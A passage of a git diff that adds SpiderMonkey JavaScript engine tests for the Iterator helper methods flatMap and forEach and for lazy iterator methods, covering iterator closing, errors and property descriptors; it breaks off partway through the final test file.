diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-next-throws.js b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-next-throws.js
new file mode 100644
index 0000000000..a8f70497f7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-next-throws.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap closes the iterator when innerNext throws.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ i. Repeat, while innerAlive is true,
+ i. Let innerNext be IteratorNext(innerIterator).
+ ii. IfAbruptCloseIterator(innerNext, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends Iterator {
+ next() {
+ throw new TestError();
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => mapped.next(), TestError);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-value-throws.js b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-value-throws.js
new file mode 100644
index 0000000000..3b2f26b401
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/close-iterator-when-inner-value-throws.js
@@ -0,0 +1,52 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap closes the iterator when innerValue throws.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ i. Repeat, while innerAlive is true,
+ ...
+ vi. Else,
+ 1. Let innerValue be IteratorValue(innerNext).
+ 2. IfAbruptCloseIterator(innerValue, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends Iterator {
+ next() {
+ return {
+ done: false,
+ get value() {
+ throw new TestError();
+ },
+ };
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => mapped.next(), TestError);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/flatMap.js b/js/src/tests/non262/Iterator/prototype/flatMap/flatMap.js
new file mode 100644
index 0000000000..6acce22593
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/flatMap.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let iter = [1, 2, 3].values().flatMap(x => [x, x + 1]);
+for (const v of [1, 2, 2, 3, 3, 4]) {
+ let result = iter.next();
+ assertEq(result.done, false);
+ assertEq(result.value, v);
+}
+assertEq(iter.next().done, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/inner-empty-iterable.js b/js/src/tests/non262/Iterator/prototype/flatMap/inner-empty-iterable.js
new file mode 100644
index 0000000000..24fcc85c2c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/inner-empty-iterable.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap skips empty inner iterables.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ i. Repeat, while innerAlive is true,
+ ...
+ iii. Let innerComplete be IteratorComplete(innerNext).
+ ...
+ v. If innerComplete is true, set innerAlive to false.
+features: [iterator-helpers]
+---*/
+
+let iter = [0, 1, 2, 3].values().flatMap(x => x % 2 ? [] : [x]);
+
+for (const expected of [0, 2]) {
+ const result = iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+}
+
+let result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+iter = [0, 1, 2, 3].values().flatMap(x => []);
+result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/inner-generator.js b/js/src/tests/non262/Iterator/prototype/flatMap/inner-generator.js
new file mode 100644
index 0000000000..9589027b4b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/inner-generator.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap innerIterator can be a generator.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+features: [iterator-helpers]
+---*/
+
+const iter = [1, 2].values().flatMap(function*(x) {
+ yield x;
+ yield* [x + 1, x + 2];
+});
+
+for (const expected of [1, 2, 3, 2, 3, 4]) {
+ const result = iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+}
+
+const result = iter.next();
+assertEq(result.value, undefined);
+assertEq(result.done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/length.js b/js/src/tests/non262/Iterator/prototype/flatMap/length.js
new file mode 100644
index 0000000000..d5f8a5021f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.flatMap.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.flatMap, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/name.js b/js/src/tests/non262/Iterator/prototype/flatMap/name.js
new file mode 100644
index 0000000000..6cc6b98ef0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.flatMap.name, 'flatMap');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.flatMap, 'name');
+assertEq(propertyDescriptor.value, 'flatMap');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/flatMap/throw-when-inner-not-iterable.js b/js/src/tests/non262/Iterator/prototype/flatMap/throw-when-inner-not-iterable.js
new file mode 100644
index 0000000000..eb581936e1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/flatMap/throw-when-inner-not-iterable.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: %Iterator.prototype%.flatMap closes the iterator and throws when mapped isn't iterable.
+info: >
+ Iterator Helpers proposal 2.1.5.7
+ 1. Repeat,
+ ...
+ f. Let innerIterator be GetIterator(mapped, sync).
+ g. IfAbruptCloseIterator(innerIterator, iterated).
+features: [iterator-helpers]
+---*/
+
+class NotIterable {
+ next() {
+ return {done: true};
+ }
+}
+
+class InvalidIterable {
+ [Symbol.iterator]() {
+ return {};
+ }
+}
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const nonIterables = [
+ new NotIterable(),
+ new InvalidIterable(),
+ undefined,
+ null,
+ 0,
+ false,
+ Symbol(''),
+ 0n,
+ {},
+];
+
+for (const value of nonIterables) {
+ const iter = new TestIterator();
+ const mapped = iter.flatMap(x => value);
+
+ assertEq(iter.closed, false);
+ assertThrowsInstanceOf(() => mapped.next(), TypeError);
+ assertEq(iter.closed, true);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/forEach/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..2291c04664
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.forEach(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: forEach
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/descriptor.js b/js/src/tests/non262/Iterator/prototype/forEach/descriptor.js
new file mode 100644
index 0000000000..b33be1e435
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.forEach
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'forEach');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/forEach/error-from-correct-realm.js
new file mode 100644
index 0000000000..38c8e9bb5c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.forEach(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.forEach.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/fn-not-callable-throws.js b/js/src/tests/non262/Iterator/prototype/forEach/fn-not-callable-throws.js
new file mode 100644
index 0000000000..473789a6a2
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/fn-not-callable-throws.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.forEach(), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(undefined), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(null), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(0), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(false), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(''), TypeError);
+assertThrowsInstanceOf(() => iter.forEach(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => iter.forEach({}), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/fn-throws-close-iterator.js b/js/src/tests/non262/Iterator/prototype/forEach/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..1703673f0d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/fn-throws-close-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ return { done: this.closed };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.forEach(fn), Error);
+assertEq(iter.closed, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/forEach.js b/js/src/tests/non262/Iterator/prototype/forEach/forEach.js
new file mode 100644
index 0000000000..62ddce6eb7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/forEach.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const log = [];
+const fn = (value) => log.push(value);
+const iter = [1, 2, 3].values();
+
+assertEq(iter.forEach(fn), undefined);
+assertEq(log.join(','), '1,2,3');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/length.js b/js/src/tests/non262/Iterator/prototype/forEach/length.js
new file mode 100644
index 0000000000..9f2f9134f8
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.forEach.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.forEach, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/name.js b/js/src/tests/non262/Iterator/prototype/forEach/name.js
new file mode 100644
index 0000000000..7c4964e696
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.forEach.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.forEach, 'name');
+assertEq(propDesc.value, 'forEach');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/forEach/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..042b6d660c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.forEach(fn), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/proxy.js b/js/src/tests/non262/Iterator/prototype/forEach/proxy.js
new file mode 100644
index 0000000000..9d50aed9fe
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.forEach only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.forEach(x => x);
+
+assertEq(
+ log.join('\n'),
+ `get: forEach
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/this-not-iterator-throws.js b/js/src/tests/non262/Iterator/prototype/forEach/this-not-iterator-throws.js
new file mode 100644
index 0000000000..d47ba38960
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/this-not-iterator-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const fn = x => x;
+assertThrowsInstanceOf(Iterator.prototype.forEach.bind(undefined, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.forEach.bind({}, fn), TypeError);
+assertThrowsInstanceOf(Iterator.prototype.forEach.bind({next: 0}, fn), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/forEach/value-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/forEach/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..28f1d64113
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/forEach/value-throws-iterator-not-closed.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.forEach(x => x), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/generator-methods-throw-on-iterator-helpers.js b/js/src/tests/non262/Iterator/prototype/generator-methods-throw-on-iterator-helpers.js
new file mode 100644
index 0000000000..f684be43fb
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/generator-methods-throw-on-iterator-helpers.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const generatorProto = Object.getPrototypeOf(
+ Object.getPrototypeOf(
+ (function *() {})()
+ )
+);
+
+const iteratorHelper = [0].values().map(x => x);
+
+assertThrowsInstanceOf(() => generatorProto.next.call(iteratorHelper), TypeError);
+assertThrowsInstanceOf(() => generatorProto.return.call(iteratorHelper), TypeError);
+assertThrowsInstanceOf(() => generatorProto.throw.call(iteratorHelper), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/iterator-helper-methods-throw-on-generators.js b/js/src/tests/non262/Iterator/prototype/iterator-helper-methods-throw-on-generators.js
new file mode 100644
index 0000000000..e074d7e580
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/iterator-helper-methods-throw-on-generators.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const iteratorHelperProto = Object.getPrototypeOf([].values().map(x => x));
+
+function *gen() {
+ yield 1;
+}
+
+assertThrowsInstanceOf(() => iteratorHelperProto.next.call(gen()), TypeError);
+assertThrowsInstanceOf(() => iteratorHelperProto.return.call(gen()), TypeError);
+assertThrowsInstanceOf(() => iteratorHelperProto.throw.call(gen()), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/iterator-helpers-from-other-global.js b/js/src/tests/non262/Iterator/prototype/iterator-helpers-from-other-global.js
new file mode 100644
index 0000000000..d18bd8f00f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/iterator-helpers-from-other-global.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestError extends Error {}
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 'value'};
+ }
+
+ closed = false;
+ return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+function checkIterResult({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(Array.isArray(value) ? value[1] : value, expectedValue);
+}
+
+const otherGlobal = newGlobal({newCompartment: true});
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", x => [x]],
+];
+
+for (const [method, arg] of methods) {
+ const {next: otherNext} = Object.getPrototypeOf(
+ new otherGlobal.Array().values()[method](arg)
+ );
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ checkIterResult(otherNext.call(helper), false, 'value');
+}
+
+for (const [method, arg] of methods) {
+ const {return: otherReturn} = Object.getPrototypeOf(
+ new otherGlobal.Array().values()[method](arg)
+ );
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ assertEq(iterator.closed, false);
+ checkIterResult(otherReturn.call(helper), true, undefined);
+ assertEq(iterator.closed, true);
+}
+
+for (const [method, arg] of methods) {
+ const {throw: otherThrow} = Object.getPrototypeOf(
+ new otherGlobal.Array().values()[method](arg)
+ );
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ assertThrowsInstanceOf(otherThrow.bind(helper, new TestError()), TestError);
+ checkIterResult(helper.next(), true, undefined);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-from-other-global.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-from-other-global.js
new file mode 100644
index 0000000000..e6235ed171
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-from-other-global.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const otherIteratorProto = newGlobal({newCompartment: true}).Iterator.prototype;
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", x => [x]],
+];
+
+// Use the lazy Iterator methods from another global on an iterator from this global.
+for (const [method, arg] of methods) {
+ const iterator = [1, 2, 3].values();
+ const helper = otherIteratorProto[method].call(iterator, arg);
+
+ for (const expected of [1, 2, 3]) {
+ const {done, value} = helper.next();
+ assertEq(done, false);
+ assertEq(Array.isArray(value) ? value[1] : value, expected);
+ }
+
+ const {done, value} = helper.next();
+ assertEq(done, true);
+ assertEq(value, undefined);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-handle-empty-iterators.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-handle-empty-iterators.js
new file mode 100644
index 0000000000..e6df2758ad
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-handle-empty-iterators.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods handle empty iterators.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class EmptyIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const emptyIterator1 = new EmptyIterator();
+const emptyIterator2 = [].values();
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ for (const iterator of [emptyIterator1, emptyIterator2]) {
+ const result = method(iterator).next();
+ assertEq(result.done, true);
+ assertEq(result.value, undefined);
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-interleaved.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-interleaved.js
new file mode 100644
index 0000000000..0edc3cd467
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-interleaved.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% method calls can be interleaved.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ value = 0;
+ next() {
+ return {done: false, value: this.value++};
+ }
+}
+
+function unwrapResult(result) {
+ // Unwrap the asIndexedPair return values.
+ while (Array.isArray(result.value)) {
+ result.value = result.value[1];
+ }
+ return result;
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const firstMethod of methods) {
+ for (const secondMethod of methods) {
+ const iterator = new TestIterator();
+ const firstHelper = firstMethod(iterator);
+ const secondHelper = secondMethod(iterator);
+
+ let firstResult = unwrapResult(firstHelper.next());
+ assertEq(firstResult.done, false);
+ assertEq(firstResult.value, 0);
+
+ let secondResult = unwrapResult(secondHelper.next());
+ assertEq(secondResult.done, false);
+ assertEq(secondResult.value, 1);
+
+ firstResult = unwrapResult(firstHelper.next());
+ assertEq(firstResult.done, false);
+ assertEq(firstResult.value, 2);
+
+ secondResult = unwrapResult(secondHelper.next());
+ assertEq(secondResult.done, false);
+ assertEq(secondResult.value, 3);
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-call-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-call-throws.js
new file mode 100644
index 0000000000..f81e9280ce
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-call-throws.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods close the iterator if callback throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+function fn() {
+ throw new TestError();
+}
+const methods = [
+ iter => iter.map(fn),
+ iter => iter.filter(fn),
+ iter => iter.flatMap(fn),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ assertEq(iter.closed, false);
+ assertThrowsInstanceOf(() => method(iter).next(), TestError);
+ assertEq(iter.closed, true);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js
new file mode 100644
index 0000000000..361b800404
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods close the iterator if `yield` throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+ const iteratorHelper = method(iterator);
+ iteratorHelper.next();
+ assertThrowsInstanceOf(() => iteratorHelper.throw(new TestError()), TestError);
